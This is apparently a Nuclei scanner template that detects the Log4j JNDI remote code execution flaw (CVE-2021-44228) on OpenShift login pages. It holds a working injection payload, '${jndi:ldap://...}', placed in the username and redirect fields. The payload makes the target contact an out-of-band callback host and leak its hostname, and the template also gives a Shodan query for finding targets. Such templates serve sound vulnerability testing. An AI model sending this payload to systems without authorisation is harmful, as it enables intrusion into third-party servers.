openshift-log4j-rce: OpenShift - Remote Code Execution (Apache Log4j)

id: openshift-log4j-rce

info:
  name: OpenShift - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    OpenShift is susceptible to Log4j JNDI remote code execution. OpenShift is a unified platform to build, modernize, and deploy applications at scale.
  reference:
    - https://access.redhat.com/security/cve/cve-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:redhat:openshift_origin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: title:"OpenShift"
    product: openshift_origin
    vendor: redhat
  tags: cve,cve2021,rce,jndi,log4j,openshift,oast,kev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /Login HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}/login?then=/oauth/authorize?client_id=openshift-web-console&idp=basic&redirect_uri={{BaseURL}}/console/oauth&response_type
        Content-Type: application/x-www-form-urlencoded

        then=%2Foauth%2Fauthorize%3Fclient_id%3Dopenshift-web-console%26idp%3Dbasic%26redirect_uri%3D${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}26response_type%3Dcode&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output#

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request
# digest: 4a0a00473045022100b62a586fb0a7474874e1a02ce38ea5742731380302dae421f4cf7d617c7443b202203cc428bf580703ea8cf8da45546dc381c08302735677dfd1602e917885763b3a:922c64590222798bb761d5b6d8e72950